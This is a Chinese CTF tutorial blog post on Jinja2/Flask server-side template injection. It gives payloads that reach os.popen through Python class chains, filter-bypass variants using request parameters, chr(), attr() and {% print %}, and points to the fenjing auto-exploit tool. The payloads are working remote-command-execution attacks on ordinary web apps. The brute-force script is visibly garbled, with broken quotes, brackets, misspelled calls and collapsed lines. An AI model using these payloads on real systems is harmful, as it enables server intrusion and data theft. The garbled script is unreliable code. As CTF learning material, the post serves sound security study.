当前位置: 首页 > article >正文

SSTI知识点汇总

        以前写BaseCTFweek3的web时总结过一次,这里系统的再重写一遍


什么是SSTI?

        SSTI是一种发生在服务器端模板中的漏洞。当用户的输入返回时会经过一个模板渲染,SSTI漏洞就是恶意用户插入了可以破坏模板的语句,导致了敏感信息泄露、rce等问题。           

        服务器的模板又很多种,不同的语言会有不同的模板框架。   

        所以SSTI并不只有一种方式,我们平常多遇到的是python的模板


SSTI的形成原因

        其实成因很简单,就是写后端代码的程序员偷懒,用render_template_string解析字符串代替了render_template的渲染。

        做题的时候可以通过wapplayzer插件,查看框架和语言,一般是Flask和Python的话就是ssti没跑了


SSTI的具体实现方法

        这里以python的模板为例

        在这些框架中存在很多类,包括可以做到RCE的类。

        所以我们的目标就是要通过模板操作到可以进行RCE的类

        那么我们输入什么才会被当成模板注入呢?

       因为模板渲染的时候会把"{ {}}"包裹的内容当做变量解析替换。比如,{ {2*2}}会被解析成4所以,我们需要用  { {恶意代码}}  的形式来进行SSTI

        (所以{ {2*2}}也被用作检测SSTI漏洞的方法)

        接下来就是SSTI的具体实现方法了

        这里借用一下我之前写过的博客BaseCTF_web_week3-CSDN博客

        这里是一些魔术方法

__class__   :返回类型所属的对象。
__base__   :返回该对象所继承的父类
__mro__     :返回该对象的所有父类
__subclasses__()  获取当前类的所有子类
__init__  类的初始化方法
__globals__  对包含(保存)函数全局变量的字典的引用

        假设我们知道一个当前类,通过__class__返回对象,然后用__mro__或者__base__返回父类,直到父类为object类(所有的类都是object类的子类),再用__sublasses__返回所有的子类,这样就能找到存在rce的类啦!

        以下是一些当前类的表示方式

''.__class__

().__class__

[].__class__

"".__class__

{}.__class__

        (ctfshow_web361) 

        所以我们可以构造{ {''.__class__.__base__.__subclasses__}}查看所有类

        可以进行rce的类是——"os._wrap_close",所以我们需要找到这个类的序号

        可以复制粘贴去记事本,搜索os._wrap_close一下具体的位置(一般在130多)我这里是132

        也可以用这个脚本,记得改一下pyload和url

import requests
url =input('请输入URL链接:)
for i in range(500):
data ={"name":
"{{O)._class_._base_.__subclasses_()["+str(i)+"]._init_._globals_['__builtins_1}}"]
try:
response = requests.posf(url,data=data)
#print(response.text)
if response.status_code == 200:if 'popen' in response.text:print(i)
except:
pass

         之后用__init__初始化这个类,用__globals__寻找popen函数后可以直接命令执行,记得最后要加一个read()

        构造

?name={
  
  {''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat%20/flag').read()}}

        这个格式稍微要记一下,目前只知道可以用os._wrap_close的popen 

        popen后的括号里直接写命令,不需要system

        这样我们就成功通过SSTI漏洞进行RCE了


SSTI的绕过姿势

        上面上述的是最最基本的一种实现方法,现在是一些绕过手法

        绕过数字

                上述pyload用到了132,ban了数字之后我们有两种解决方案

                1.是采用另一种pylaod

{{a.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}

采用了builtins模块,比用os_wrap_close更加方便

                2.采用全角数字

                        0123456789(不知道原理)

?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}} 

       


         用request绕过

                request可以获得请求的相关信息,通过这个特性可以做到绕过(其实用''也可以做到绕过)

例如
{{''.__class__}} ==> {{''[request.args.t1]}}&t1=__class__

__class__ ==> _''_cla''ss_''_

                过滤    '  '          

                拿之前讲过的__builtins__举例

{{a.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}

                如果ban了'',就说明__builtins__和__import__的使用会被限制,这里就可以用request.args.x(x为get的参数)来避免''被检测到

                pyload如下

{{a.__init__.__globals__[request.args.x].eval(request.args.y)}}&x=__builtins__&y=__import__("os").popen("cat /flag").read()

                

        同理,也可以用于绕过其他字符

        值得一提的是,如果args被ban了,request.args.x可以替换成request['values']['x']的形式

        如果这时  ' '  也被ban了,可以用request.cookies.x代替,不过上传参数要传在cookie中
        (注意cookies这里需要加 ; )

                        chr()拼接解决request被ban

        可以用chr()拼接,可是我们不能直接使用chr(),要用之前的方法通过继承链走到chr()

一些chr()的构造方式
"".__class__.__base__.__subclasses__()[x].__init__.__globals__['__builtins__'].chr
get_flashed_messages.__globals__['__builtins__'].chr
url_for.__globals__['__builtins__'].chr
lipsum.__globals__['__builtins__'].chr
x.__init__.__globals__['__builtins__'].chr  (x为任意值)

         然后用字符串chr接收,之后就可以用chr()函数了

BaseCTF week4 复读机wp(为了观感把绕过用的''去掉了)

{% set chr= ''['__class__']['__base__']['__subclasses__']()[137]['__init__']['__globals__']['__builtins__']['chr']%}
{% set cmd='cat '~chr(47)~'flag' %}
{%print(''['__class__']['__base__']['__subclasses__']()[137]['__init__']['__globals__']['popen'](cmd)['read']())%}

                        


         . 绕过

                可以用atter()绕过,也可以用[ ]绕过(这里不做展示)
        

|attr("__class__")就相当于.__class__

可以借鉴一下这个pyload

{{lipsum|attr("__globals__")|attr("get")("os")|attr("popen")("whoami")|attr("read")()}}

这里这个pyload是改自
{{lipsum._globals_.get("os").popen('whoami').read()}}

这里值得注意的是(不用get)
{{lipsum._globals_.os.popen('whoami').read()}}是成立的

但是,
{{lipsum|attr("__globals__")|attr("get")("os")|attr("popen")("whoami")|attr("read")()}}
如果不加get,就会失败


         {{绕过

                不能用{{}},可以用{%%}代替,不过{%%}没有显示,要加一个print

        


SSTI终极工具——fenjing

        全自动化绕过,只需要直接执行命令即可(仅支持http)

       kali中安装

pip install fenjing

        使用

python -m fenjing scan --url 'http://...'

打开网站ui
python -m fenjing webui

        讲的比较简单建议看下方文章 

        Fenjing 专为CTF设计的Jinja2 SSTI全自动绕WAF脚本 - 🔰雨苁ℒ🔰

        不过工具归工具,还是要有一些硬实力的,也遇到过fenjing找不出漏洞点的情况


小结

        忙前忙后总算写完了这篇博客,还有很多绕过姿势没讲,不过有了fenjing,更加难的绕过应该都能迎刃而解


http://www.kler.cn/a/560938.html

相关文章:

  • docker离线安装记录
  • Vulnhun靶机-kioptix level 4-sql注入万能密码拿到权限ssh连接利用mysql-udf漏洞提权
  • 05C语言——数组
  • 95.【C语言】解析预处理(3)
  • 【安装及调试旧版Chrome + 多版本环境测试全攻略】
  • [特殊字符] Elasticsearch 双剑合璧:HTTP API 与 Java API 实战整合指南
  • 塔能科技构建智慧隧道生态系统——城市升级改造的协同创新典范
  • 【Java项目】基于Spring Boot的简历系统
  • 电脑没声音了怎么恢复正常?一键恢复电脑声音
  • 使 Windows 呈现 macOS 风格的多功能桌面美化软件
  • 连锁管理系统的五大核心设计及 PHP 源码分享
  • 【深度解析:基于 C 语言实现含 IP 城市地址因素的抖音式简化推荐算法】
  • 2.2 STM32F103C8T6最小系统板的四种有关固件的开发方式
  • 超导量子计算机的最新进展:走向实用化的量子革命
  • 官方文档学习TArray数组的运算符
  • GaussDB会话超时参数与最大连接数设置
  • 一文读懂Docker之Docker Swarm集群平台搭建
  • 单片机裸机编程-时机管理
  • 电机控制的空间矢量调制 (SVPWM)
  • ubuntu-24.04.1-desktop 中的 QT6.7 QtCreator 调试程序